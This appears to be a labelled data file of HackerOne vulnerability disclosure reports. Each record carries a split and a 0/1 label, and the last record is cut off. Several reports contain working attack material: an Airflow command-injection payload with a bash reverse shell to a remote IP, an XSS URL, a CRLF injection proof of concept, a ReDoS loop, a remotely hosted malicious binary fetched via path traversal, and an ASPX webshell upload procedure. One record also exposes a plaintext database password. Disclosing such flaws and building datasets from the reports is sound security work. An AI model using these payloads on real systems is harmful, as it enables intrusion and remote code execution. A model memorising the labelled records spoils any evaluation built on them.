+{"id": "08fb5b8311444e3e0b0d", "text": "[Improper Access Control - Generic] Staff can create workflows in Shopify Admin without apps permission\n\n## Summary:\n[add summary of the vulnerability]\n\nAccording to publicly available docs, Flow can be accessed in two ways.\n1. through the Shopify organization admin (Shopify plus)\n2. by installing the Shopify Flow app.\nI stumbled on /admin/internal/web/graphql/flow endpoint which is accessible to a staff member with only `marketing` permission. The said endpoint makes it possible to create workflows and perform other flow related actions without using any of the two methods stated above. To substantiate my claim, I created a workflow that 'adds a tag whenever a customer registers an account' (created an account tag) see the image below for details.\n{F1667015} \n\nIt's worth mentioning that the workflows created this way don't show up in the app or any where else, information about them can only be gotten by hitting the same endpoint. There are couple of other mutations that are accessible but I used only `templateInstall` and `workflowActivate` for demonstration. What follows below are example GraphQL queries and steps to reproduce.\nFirst, we need to install a template to activate. \nSee the image below for details\n{F1667014}\n\n```\n{\"operationName\":\"templateInstall\",\"variables\":{\"templateId\":\"977bf9aa-ae6a-4a7c-b3f2-051c9e856c6f\",\"shopIds\":[]},\"query\":\"mutation templateInstall($templateId: ID!, $shopIds: [ID!]!) {\\n  templateInstall(templateId: $templateId, shopIds: $shopIds) {\\n    installed {\\n      shopId\\n      workflowId\\n      workflowVersion\\n      __typename\\n    }\\n    errors {\\n      shopId\\n      message\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}\n\n```\nAfter installing a template of our choice, we then activate the workflow. \nSee the image below for details.\n{F1667018}\n\n```\n{\"operationName\":\"activateWorkflowMutation\",\"variables\":{\"workflowId\":\"240ed0ee-d099-4066-8eac-7ce777ef4fe4\",\"version\":\"acc5731a-7802-4622-857b-0191f8c0ee9d\",\"contextType\":\"shop\",\"contextId\":\"10979704928\"},\"query\":\"mutation activateWorkflowMutation($workflowId: ID!, $version: String, $contextType: String!, $contextId: ID!) {\\n  workflowActivate(\\n    workflowId: $workflowId\\n    version: $version\\n    contextType: $contextType\\n    contextId: $contextId\\n  ) {\\n    workflow {\\n      ...workflow\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\\nfragment workflow on Workflow {\\n  id\\n  name\\n  steps {\\n    ...step\\n    __typename\\n  }\\n  links {\\n    ...link\\n    __typename\\n  }\\n  activations {\\n    ...activation\\n    __typename\\n  }\\n  lastUpdated\\n  activationState\\n  versionState\\n  version\\n  parentVersion\\n  shopifyDomain\\n  shopifyName\\n  owner {\\n    contextId\\n    contextType\\n    __typename\\n  }\\n  ...validationErrors\\n  tags\\n  __typename\\n}\\n\\nfragment step on Step {\\n  id\\n  task {\\n    ...task\\n    __typename\\n  }\\n  position {\\n    x\\n    y\\n    __typename\\n  }\\n  inputPort {\\n    name\\n    identifier\\n    __typename\\n  }\\n  outputPorts {\\n    name\\n    identifier\\n    __typename\\n  }\\n  ...stepConfig\\n  note\\n  description\\n  __typename\\n}\\n\\nfragment task on Task {\\n  id\\n  label\\n  description\\n  dynamicDescriptionTemplate\\n  taskType\\n  path\\n  inputPort {\\n    id\\n    name\\n    __typename\\n  }\\n  outputPorts {\\n    id\\n    name\\n    __typename\\n  }\\n  iconUrl\\n  documentationUrl\\n  __typename\\n}\\n\\nfragment stepConfig on Step {\\n  id\\n  taskType\\n  task {\\n    id\\n    label\\n    description\\n    __typename\\n  }\\n  configFields {\\n    __typename\\n    ... on ArrayConfigField {\\n      valuePlaceholder\\n      stepConfigFieldIdentifier\\n      supportsLiquid\\n      description\\n      label\\n      value\\n      validations {\\n        id\\n        options\\n        errorMessage\\n        __typename\\n      }\\n      __typename\\n    }\\n    ... on CollectionsConfigField {\\n      valuePlaceholder\\n      stepConfigFieldIdentifier\\n      description\\n      label\\n      value\\n      errors {\\n        title\\n        message\\n        __typename\\n      }\\n      __typename\\n    }\\n    ... on BooleanConfigField {\\n      valuePlaceholder\\n  ", "source": "hackerone", "timestamp": "2022-10-13", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "d7edfd23f333d782dcb2", "text": "[Command Injection - Generic] CVE-2022-24288: Apache Airflow: TWO RCEs in example DAGs\n\nIn Apache Airflow, prior to version 2.2.4, In DAG script of airflow , there is two command injection vulnerability (RCE) in the some scripts, which an attacker can execute arbitrary commands on the system.  The impact is even greater when airflow is configured for unauthenticated access. These two RCEs are assigned the same CVE number(CVE-2022-24288)\n\n## Impact\n\n#RCE one: example_passing_params_via_test_command.py command injection\n\n##Vulnerability summary:\nIn Apache Airflow, prior to version 2.2.4, there is a command injection vulnerability (RCE) in the script (example_passing_params_via_test_command.py), which can obtain the permission of the operating system. \n##Vulnerability principle:\n1. It can be seen from the source code of example_passing_params_via_test_command script that there is the function of executing bash command, The parameters Foo and MIFF in the template expressions {{params. Foo}} and {{params. Foo}} are externally controllable and rendered through the jiaja2 template: \n\n{F1634883}\n\n{F1634884}\n2. Further analysis “from airflow.operators.bash import BashOperator” code, we can see bash_command parameter value will be executed as a bash script;\n\n{F1634885}\n\n##Vulnerability exploitation ：\n1. Enter the DAGs menu and start example_passing_params_via_test_command task, select “Trigger DAG w/ config”. \n\nhttp://192.168.3.17:8080/trigger?dag_id=example_passing_params_via_test_command\n\n{F1634887}\n2. To construct payload, we can know from the following code that we need to splice commands with semicolons after closing double quotation marks, so as to inject any operating system commands to be executed(RCE).\n\n{F1634888}\nPAYLOAD：`{\"foo\":\"\\\";touch /tmp/pwnedaaaaa;\\\"\"}`, Then click trigger to execute the task.\n\n{F1634889}\n\n{F1634890}\nThrough the log and background view, it can be seen that any command has been executed successfully.\n\n{F1634891}\n\n{F1634892}\n3.  Further execute the reverse shell to obtain operating system permissions.\nPayload:` {\"foo\":\"\\\";bash -i >& /dev/tcp/192.168.3.7/6666 0>&1;\\\"\"}`\n\n{F1634893}\n\n{F1634894}\n\n#RCE two: tutorial.py DAG command injection\n\n##Vulnerability summary：\nIthere is a command injection vulnerability (RCE) in the script (tutorial.py), which an attacker can execute arbitrary commands on the system. \n##Vulnerability principle：\n1. It can be seen from the source code of tutorial script that there is the function of executing bash command, The parameters “my_param” in the template expressions {{params.my_param}} is externally controllable and rendered through the jinja2 template: \n\n{F1634906}\n2. Further analysis “from airflow.operators.bash import BashOperator” code, we can see bash_command parameter value will be executed as a bash script;\n\n{F1634907}\n#Vulnerability exploitation:\n1. Enter the DAGs menu and start tutorial task, select “Trigger DAG w/ config”. \n\nhttp://192.168.3.17:8080/trigger?dag_id=tutorial\n\n{F1634908}\n2. To construct payload, we can know from the following code that we need to splice commands with semicolons after closing double quotation marks, so as to inject any operating system commands to be executed(RCE).\n\n{F1634913}\nPAYLOAD：`{\"my_param\":\"\\\";touch /tmp/pwnedddddd;\\\"\"}`, Then click trigger to execute the task.\n\n{F1634915}\n\n{F1634916}\nThrough the log and background view, it can be seen that arbitrary command has been executed successfully.\n\n{F1634917}", "source": "hackerone", "timestamp": "2022-04-01", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "2afb08fcd6ecab610be6", "text": "[Cross-Site Scripting (XSS)] HTML Injection at https://stage.firefoxmonitor.nonprod.cloudops.mozgcp.net/user/unsubscribe\n\nHello, \n\nThe \"Unsubscribe\" page seems to be affected by Cross-Site Scripting (XSS) .Unfortunately my IP was blocked and I couldn't go ahead with the test to find a real proof of concept. So I'll just stick to this\n\nPOC:\n\nhttps://stage.firefoxmonitor.nonprod.cloudops.mozgcp.net/user/unsubscribe?%27%22%3E%3C/title%3E%3Cscript%3Ealert(xss)%3C/script%3E%3E%3Cmarquee%3E%3Ch1%3EXSS%3C/h1%3E%3C/marquee%3E \n\nCheers\n\n## Impact\n\nAn attacker could use this to inject malicious client side code, such as JavaScript, and execute it within the context of another user. This could possibly lead to user account compromises, user’s being socially engineered and many more attacks against the application’s users.", "source": "hackerone", "timestamp": "2023-10-20", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "520d5865d6f73937d469", "text": "[CRLF Injection] 'net/http': HTTP Header Injection in the set_content_type method\n\nThe set\\_content\\_type's parameter is not filtered to prevent the injection from altering the entire request.\n\nThe vulnerable code:\n```ruby\n  def set_content_type(type, params = {})\n    @header['content-type'] = [type + params.map{|k,v|\"; #{k}=#{v}\"}.join('')]\n  end\n```\n\n# PoC\n\n1.\n```ruby\nrequire 'net/http'\n\nuri = URI('http://127.0.0.1:8080')\nreq = Net::HTTP::Post.new(uri)\nreq.set_content_type('text/html', \"charset\" => \"iso-8859-1\\nHeader:Inject\")\n\nresp = Net::HTTP.start(uri.hostname, uri.port) do |http|\n  http.request(req)\nend\n```\n\n2.\n```\n$ nc -lvp 8080\nListening on 0.0.0.0 8080\nConnection received on localhost 57620\nPOST / HTTP/1.1\nAccept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3\nAccept: */*\nUser-Agent: Ruby\nHost: 127.0.0.1:8080\nContent-Type: text/html; charset=iso-8859-1\nHeader:Inject # <<<<<<<<\nContent-Length: 0\n```\n\nI set the same severity as [CVE-2020-26116](https://nvd.nist.gov/vuln/detail/CVE-2020-26116) has.\n\n## Impact\n\nIn web applications a CRLF injection can have severe impacts, depending on what the application does with single items. Impacts can range from information disclosure to code execution, a direct impact web application security vulnerability.", "source": "hackerone", "timestamp": "2022-02-04", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "8567102bd13ee3dcfd1c", "text": "[HTTP Request Smuggling] CVE-2022-32213 - HTTP Request Smuggling Due to Flawed Parsing of Transfer-Encoding\n\nOriginal Report: https://hackerone.com/reports/1524555\n\n## Impact\n\nDepending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.", "source": "hackerone", "timestamp": "2022-07-22", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "cdcdd3a147f14d05d37a", "text": "[Insecure Storage of Sensitive Information] Splunk Sensitive Information Disclosure @████████\n\nHi Team,\n\nHope you are doing great.\nI got a domain that contains Splunk Sensitive Information Disclosure @██████████\nPoC:\nhttps://███████/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json\n█████████\n\nSplunk through 7.0.1 allows information disclosure by appending __raw/services/server/info/server-info?output_mode=json to a query, as demonstrated by discovering a license key.\n\nReference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-11409\n    - https://github.com/kofa2002/splunk\n    - https://www.exploit-db.com/exploits/44865/\n    - http://web.archive.org/web/20211208114213/https://securitytracker.com/id/1041148\n\n## Impact\n\nSplunk Sensitive Information Disclosure\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nOpen this link:\nhttps://█████████/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2023-02-13", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "7b572a7ca3c7bb00673b", "text": "[Uncontrolled Resource Consumption] @nextcloud/logger NPM package brings vulnerable ansi-regex version\n\n## Summary:\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\\\]()#;?]* and (?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*.\n\n## Details: \nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\n## Steps To Reproduce:\n\n  1. First I download the code (https://github.com/nextcloud/password_policy) I usual cat files and See the technologies that the site use and its versions I Found that You use `ansi-regex`\n  2. then I cat every file and find in package-lock.json has the version I have the versions of the ansi-regex with a lot of versions there some of some vulnerable and other update to the latest version and the vulnerable paths is  \n```json\n},\n\t\t\t\t\"strip-ansi\": {\n\t\t\t\t\t\"version\": \"3.0.1\",\n\t\t\t\t\t\"resolved\": \"https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz\",\n\t\t\t\t\t\"integrity\": \"sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=\",\n\t\t\t\t\t\"requires\": {\n\t\t\t\t\t\t\"ansi-regex\": \"^2.0.0\"\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t\t\"has-ansi\": {\n\t\t\t\"version\": \"2.0.0\",\n\t\t\t\"resolved\": \"https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz\",\n\t\t\t\"integrity\": \"sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=\",\n\t\t\t\"requires\": {\n\t\t\t\t\"ansi-regex\": \"^2.0.0\"\n\t\t\t},\n\n\t\t\t\"dependencies\": {\n\t\t\t\t\"ansi-regex\": {\n\t\t\t\t\t\"version\": \"2.1.1\",\n\t\t\t\t\t\"resolved\": \"https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz\",\n\t\t\t\t\t\"integrity\": \"sha1-w7M6te42DYbg5ijwRorn7yfWVN8=\"\n\t\t\t\t}\n\n\t\t\t\t\"node_modules/babel-code-frame/node_modules/ansi-regex\": {\n\t\t\t\"version\": \"2.1.1\",\n\t\t\t\"resolved\": \"https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz\",\n\t\t\t\"integrity\": \"sha1-w7M6te42DYbg5ijwRorn7yfWVN8=\",\n\t\t\t\"engines\": {\n\t\t\t\t\"node\": \">=0.10.0\"\n\t\t\t}\n\t\t},\n\t\t\"node_modules/babel-code-frame/node_modules/strip-ansi\": {\n\t\t\t\"version\": \"3.0.1\",\n\t\t\t\"resolved\": \"https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz\",\n\t\t\t\"integrity\": \"sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=\",\n\t\t\t\"dependencies\": {\n\t\t\t\t\"ansi-regex\": \"^2.0.0\"\n\t\t\t}\n\t\t\t\"node_modules/has-ansi/node_modules/ansi-regex\": {\n\t\t\t\"version\": \"2.1.1\",\n\t\t\t\"resolved\": \"https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz\",\n\t\t\t\"integrity\": \"sha1-w7M6te42DYbg5ijwRorn7yfWVN8=\",\n\t\t\t\"engines\": {\n\t\t\t\t\"node\": \">=0.10.0\"\n\t\t\t}\n\t\t},\n```\n3. then I found that every version of ansi-regex before 4.1.1 as you see in the code you use 2.11,2.0.0,3.0.1 and these versions are vulnerable to Regular Expression Denial of Service (ReDoS) as every policy that Denial of service attack is out of scope so I didn't try anything to not make any damage to your work but I want to report it to you to investigate on that and update to the fixed version to denied this attack from happening. \n4. this is a poc that attacker can use to \n\n#POC\n```\nimport ansiRegex from 'ansi-regex';\n\nfor(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = \"\\u001B[\"+\";\".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\") \n```\n# Fix: \nupdate to these (4.1.1, 5.0.1, and 6.0.1)  like you do in most of your code. \n\n## Supporting Materials:\n\nthis useful links that can you check on this vuln\n1. https://www.cve.org/CVERecord?id=CVE-2021-3807\n2. https://cwe.mitre.org/data/definitions/400.html\n3. https://security.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908\n\n## Impact\n\nthe attacker aimed at making a system inaccessible t", "source": "hackerone", "timestamp": "2022-07-29", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "82454db3b2a0cda1cb3f", "text": "[Improper Input Validation] Apache Airflow Google Cloud Sql Provider Remote Command Execution\n\n## 0x01 Test environment\nairflow 2.5.1\n[apache-airflow-providers-google](https://airflow.apache.org/docs/apache-airflow-providers-google/8.8.0/) 8.8.0\nBuild with docker compose\n##  0x02 Reproduction steps\n### 2.1 Prepare the malicious executable\nWrite the following `exec.cpp` file.\n```\n#include<stdlib.h>\nusing namespace std;\nint main(){\n        system(\"mkdir /tmp/hello\");\n        return 0;\n}\n```\nIn a linux environment, use g++ to compile and rename it to system\n```python\ng++ exec.cpp -o system\n```\n{F2213397}\nPut the compiled system malicious executable file into Google Cloud Storage, and set the permission to public. My address for this exploit is [https://storage.googleapis.com/swordlight/system](https://storage.googleapis.com/swordlight/system)\n\n### 2.2 Creating a Malicious Google Cloud SQL Database Connection\nCreate the following Google Cloud SQL Database connection named aaa under Admin->Connections Among them.\nHost, Schema, Login, and Port filed are required, just fill in the content that conforms to the format.\n{F2213400}\nAmong them, Extra  filed fills in the actual content as follows, and note that sql_proxy_version is set to `../swordlight/system?a=`\n```python\n{\n  \"project_id\":\"pivotal-gearing-375804\",\n  \"instance\":\"hellopg\",\n  \"location\":\"us-central1-b\",\n  \"database_type\":\"postgres\",\n  \"use_proxy\":\"True\",\n  \"use_ssl\":\"False\",\n  \"sql_proxy_use_tcp\":\"True\",\n  \"sql_proxy_version\":\"../swordlight/system?a=\",\n  \"sslcert\":\"\",\n  \"sslkey\":\"\",\n  \"sslrootcert\":\"\"\n}\n```\n### 2.3 Use the CloudSQLExecuteQueryOperator operator in Dag for verification\nCreate a google_test.py script that uses the CloudSQLExecuteQueryOperator operator. \nPut it in the `/opt/airflow/dags` directory so that it can be automatically loaded by airflow.The content is as follows, where gcp_cloudsql_conn_id is set to the connection name aaa we established above.\n```python\nfrom __future__ import annotations\n\nimport os\nimport subprocess\nfrom datetime import datetime\nfrom os.path import expanduser\nfrom urllib.parse import quote_plus\n\nfrom airflow import models\nfrom airflow.providers.google.cloud.operators.cloud_sql import CloudSQLExecuteQueryOperator\n\n\nSQL = [\n    \"CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)\",\n    \"CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)\",  # shows warnings logged\n    \"INSERT INTO TABLE_TEST VALUES (0)\",\n    \"CREATE TABLE IF NOT EXISTS TABLE_TEST2 (I INTEGER)\",\n    \"DROP TABLE TABLE_TEST\",\n    \"DROP TABLE TABLE_TEST2\",\n]\n\n\npostgres_kwargs = dict(\n    user=\"postgres\",\n    password=r\"ktd2(%EzQ5\",\n    public_port=\"5432\",\n    public_ip=\"34.122.52.6\",\n    project_id=\"pivotal-gearing-375804\",\n    location=\"us-central1-b\",\n    instance=\"hellopg\",\n    database=\"postgres\",\n    client_cert_file=\"key/postgres-client-cert.pem\",\n    client_key_file=\".key/postgres-client-key.pem\",\n    server_ca_file=\".key/postgres-server-ca.pem\",\n)\n\n\n# Postgres: connect via proxy over TCP\nos.environ[\"AIRFLOW_CONN_PROXY_POSTGRES_TCP\"] = (\n    \"gcpcloudsql://{user}:{password}@{public_ip}:{public_port}/{database}?\"\n    \"database_type=postgres&\"\n    \"project_id={project_id}&\"\n    \"location={location}&\"\n    \"instance={instance}&\"\n    \"use_proxy=True&\"\n    \"sql_proxy_use_tcp=True\".format(**postgres_kwargs)\n)\n\nconnection_names = [\n    \"proxy_postgres_tcp\",\n]\n\nwith models.DAG(\n    dag_id=\"example_gcp_sql_query\",\n    start_date=datetime(2021, 1, 1),\n    catchup=False,\n    tags=[\"example\"],\n) as dag:\n    prev_task = None\n\n\n    task = CloudSQLExecuteQueryOperator(\n        gcp_cloudsql_conn_id=\"aaa\",gcp_conn_id=\"proxy_postgres_tcp\",task_id=\"example_gcp_sql_task_proxy_postgres_tcp\" , sql=SQL\n    )\n    tasks.append(task)\n    if prev_task:\n        prev_task >> task\n    prev_task = task\n\n# [END howto_operator_cloudsql_query_operators]\n```\n{F2213402}\nOpen the example_gcp_sql_query dag corresponding to our google_test.py script in the UI management interface, and run.\n{F2213403}\nClick to view the running graph and logs through the Graph menu.\n{F2213404}\n{F2213405}\nIt can be seen fr", "source": "hackerone", "timestamp": "2023-04-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "44a77ce8e0cfb4e26c0f", "text": "[Information Exposure Through an Error Message] Tor Project - Full Path Disclosure\n\nHi there,\n\nWhile you are primarily interested in the network/browser issues, I would like to report a web bug I discovered and thought the best place to do that would be here.\n\n# Vulnerability\n\nType: Full Path Disclosure [CWE-209]\nAffected endpoint: https://explorer.ooni.torproject.org\nExample: https://explorer.ooni.torproject.org//x\n\n# Details\nVulnerability details as follows.\n\n## Impact\nThis security vulnerability could potentially allow a malicious hacker to map an attack against internal systems. For example, if this were to be chained with another vulnerability such as path traversal; it may lead to compromise of internal systems.\n\n## Mitigation\nTypically these sort of errors occur from incorrect data types, in this case it seems like it is just a simple 404 page which is however leaking too much information to the user. \n\nA best practice method is to log these type of errors to a local text file, while showing the user a friendly 404 message. This is often achieved by disabling error reporting on the application side.", "source": "hackerone", "timestamp": "2023-11-28", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "2feed3dce9b5eaeaa11c", "text": "[Misconfiguration] Subdomain Takeover on proxies.sifchain.finance pointing to vercel\n\nHello Team,\n\nSubdomain takeover vulnerabilities occur when a subdomain (subdomain.example.com) is pointing to a service (e.g. GitHub pages, Heroku, etc.) that has been removed or deleted. This allows an attacker to set up a page on the service that was being used and point their page to that subdomain. For example, if subdomain.example.com was pointing to a GitHub page and the user decided to delete their GitHub page, an attacker can now create a GitHub page, add a CNAME file containing subdomain.example.com, and claim subdomain.example.com.\nHere there is a Sifchain domain  (proxies.sifchain.finance) which is pointing towards vercel pages so  this domain can be taken over can can be used to do any type of attacks mostly i can make a fake login page on your behalf and spoof your users, this is a critical vulnerability and needs to be fixed .\n\n{F1627827}\n\nVulnerable url : https://proxies.sifchain.finance/\n\n{F1627821}\n\nCname: cname.vercel-dns.com\nName: proxies.sifchain.finance\nType: CNAME\nClass: IN\n\n## Steps To Reproduce/Concept:\n\n1. Visit https://vercel.com/login and login with dev sifchain account\n\n2. Check the availability of the proxies.sifchain.finance sub domain at https://vercel.com/[YourUsername]/sveltekit/settings/domains\n\n3. The proxies.sifchain.finance sub domain does not exist. Potential to be claimed by others\n\n## Remediation:\nRemove the cname entry or claim the subdomain proxies.sifchain.finance on vercel.com\n\n## References:\nhttps://github.com/EdOverflow/can-i-take-over-xyz/issues/183\n\n{F1627822}\n{F1627826}\n\nhttps://github.com/EdOverflow/can-i-take-over-xyz\nhttps://labs.detectify.com/2014/10/21/hostile-subdomain-takeover-using-herokugithubdesk-more/\nhttps://0xpatrik.com/subdomain-takeover/\nhttp://yassineaboukir.com/blog/neglected-dns-records-exploited-to-takeover-subdomains/\n\nBest Regards,\n@hrdfrdh\n\n## Impact\n\nFake website\nMalicious code injection\nUsers tricking\nCompany impersonation\nThis issue can have really huge impact on the companies reputation someone could post malicious content on the compromised site and then your users will think it's official but it's not", "source": "hackerone", "timestamp": "2022-04-01", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "e66ff53a2f5a72664259", "text": "[Code Injection] CVE-2023-5528: Insufficient input sanitization in in-tree storage plugin leads to privilege escalation on Windows nodes\n\nThis is an imported report from the email i have sent a month ago about a code injection vulnerability\nThe vulnerability was assigned as  CVE-2023-5528\nAs a reference i have talked with Balaji from the k8 team.\nExcerpts from the email chain that might be relevant:\n\n\"Just a quick update to let you know that we were able to reproduce the issue and are working on a fix. CVE-2023-5528 has been reserved for this issue. We'll keep you updated on the next steps as we review the proposed fix.\"\n\n\"Hi Tomer,\nThis is being rated as a Tier 1 High severity ($5,000) bounty.\"\n\nThe vulnerability was verified and assigned a CVE  by the k8 team\n\n## Impact\n\nCode execution from kubelet context(SYSYTEM privileges) on all windows nodes on a cluster.", "source": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "0c4656265c993c32f3cd", "text": "[Improper Access Control - Generic] Adobe ColdFusion - Access Control Bypass [CVE-2023-38205] at ██████\n\nHello Gents, I would like to report an issue where attackers are able to bypass the product feature that restricts external access to the ColdFusion Administrator. [CVE-2023-38205] at `██████`\n\n\n\n## Steps to reproduce\n+ Please open the following link:\n\n> https://█████████/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx\n\n## Proof of concept\n\n+ ████\n\n## Impact\n\nAccess Control Bypass.\n\nThanks and have a nice day!\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n+ Please open the following link:\n\n> https://████████/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "85091e5911faad44b210", "text": "[Improper Access Control - Generic] Renderers can obtain access to random bluetooth device without permission\n\nWith the default configuration in Electron, renderer processes (which should not have access to system resources by default) can gain read/write access to a nearby bluetooth device. To reproduce:\n\n* Run the electron-quick-start app with a vulnerable version of Electron: https://github.com/electron/electron-quick-start\n* Using the developer tools, run `await navigator.bluetooth.requestDevice({acceptAllDevices: true})`\n* You should get a permission error, but in vulnerable versions you will get a bluetooth device object instead.\n\n## Impact\n\nIf an Electron app loads remote or untrusted content in a renderer process (which is normally fine, as the process should not have any privileges), the remote content would have read/write access to nearby bluetooth devices. The impact would then depend on what devices the user has nearby.", "source": "hackerone", "timestamp": "2022-04-23", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "7f0c9ce109e6d17a56c8", "text": "[Uncontrolled Resource Consumption] [CVE-2023-22799] Possible ReDoS based DoS vulnerability in GlobalID\n\nI made a report and patch at https://hackerone.com/reports/1696752.\n\nhttps://discuss.rubyonrails.org/t/cve-2023-22799-possible-redos-based-dos-vulnerability-in-globalid/82127\n> There is a possible DoS vulnerability in the model name parsing section of the GlobalID gem. Carefully crafted input can cause the regular expression engine to take an unexpected amount of time. All users running an affected release should either upgrade or use one of the workarounds immediately.\n\n## Impact\n\nReDoS occurs in Global ID uri parsing.\nGlobal ID is supposed to be used in ActiveJob, but it is also used in libraries such as GraphQL Ruby and uses user input.", "source": "hackerone", "timestamp": "2023-07-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "55af3f24e50e437b4f44", "text": "[Business Logic Errors] CVE-2023-23914: HSTS ignored on multiple requests\n\ncurl's HSTS functionality fail when multiple URLs are requested serially.\n\nUsing its HSTS support, curl can be instructed to use HTTPS instead of using an insecure clear-text HTTP step even when HTTP is provided in the URL. This HSTS mechanism would however suprisingly be ignored by subsequent transfers when done on the same command line because the state would not be properly carried on.\n\n## Impact\n\nBypass intended security control.", "source": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "6fd95e183d6010bb1dc1", "text": "[Code Injection] [hta3] Remote Code Execution on  https://███ via improper access control to SCORM Zip upload/import\n\n## Summary:\nThere is a Remote Code Execution vulnerability at https://█████████/Kview/CustomCodeBehind/base/courseware/scorm/management/scorm2004uploadcourse.aspx which allows any user to upload a SCORM course package. Furthermore, an attacker can add an ASPX shell to the SCORM package which will then get extracted onto the server, where the attacker can then execute commands.\n\n## Steps To Reproduce:\n\n  1. Visit `https://███████/` and log in with the credentials: `██████████`\n  2. Now download this \"malicious\" SCORM course package: █████\n  3. If you `unzip scorm.zip`, you will notice this is a valid SCORM [package](https://scorm.com/scorm-explained/technical-scorm/content-packaging/), and you will also notice that I've included an ASPX file in `shared/cdlcdlcdl.aspx` which runs the `whoami` command. Notice I also included that file reference in the Scorm Manifest (`imsmanifest.xml`)\n4. Visit https://████████/Kview/CustomCodeBehind/base/courseware/scorm/management/scorm2004uploadcourse.aspx, select the ██████ file. Start **intercepting** in Burp Suite Repeater. \n5. Forward the POST request to `/Kview/CustomCodeBehind/base/courseware/scorm/management/scorm2004uploadcourse.aspx`\n6. Now intercept the request to `/Kview/CustomCodeBehind/base/courseware/scorm/management/scorm2004editmetadata.aspx`\n7. Right-Click on it, Hover down to \"Do intercept\" and click \"response to this request\" then forward it.  (In your web-browser you might be able to just right-click, inspect-element, and search for strCourseId in there but my browser was being funky).\n8. Once you've received the response, search for \"strCourseId\" and grab it.\n\nFor example, you would grab `F6BAC72B45D64B34ACB662BB001D8523` out of the following response:\n\n```html\n<a onclick=\"return&#32;ConfirmBeforeNavigateAway(&#39;Are&#32;you&#32;sure&#32;you&#32;want&#32;to&#32;navigate&#32;away&#32;from&#32;this&#32;page?&#32;\\n\\nYou&#32;made&#32;changes&#32;that&#32;will&#32;not&#32;be&#32;saved&#32;if&#32;you&#32;continue.&#32;\\n\\nClick&#32;OK&#32;to&#32;proceed&#32;or&#32;Cancel&#32;to&#32;return&#32;to&#32;the&#32;page.&#39;);\" id=\"ML.BASE.WF.ReuploadCourse\" class=\"WorkflowButton\" NavigatingURL=\"Courseware/SCORM/Management/SCORM2004ReuploadCourse.aspx\" ItemId=\"&lt;IDTable&gt;&lt;strCourseId&gt;F6BAC72B45D64B34ACB662BB001D8523&lt;/strCourseId&gt;&lt;strVersionId&gt;F6BAC72B45D64B34ACB662BB001D8523&lt;/strVersionId&gt;&lt;/IDTable&gt;\" href=\"javascript:__doPostBack(&#39;ML.BASE.WF.ReuploadCourse&#39;,&#39;&#39;)\"><span>Course Files</span></a>\n```\n9. Now, visit `https://█████/CServer/Courseware/<YOUR_COURSE_ID>/shared/cdlcdlcdl.aspx` and you will see the shell executes:\n\n███\n\n## Supporting Material/References:\n- https://█████/CServer/Courseware/F6BAC72B45D64B34ACB662BB001D8523/shared/cdlcdlcdl.aspx\n\n## Proof-of-Concept Video\n█████████\n\n## Impact\n\nCritical, an attacker can execute commands on this military server, steal sensitive information, pivot to internal systems, etc.\n\nBest,\n@cdcl", "source": "hackerone", "timestamp": 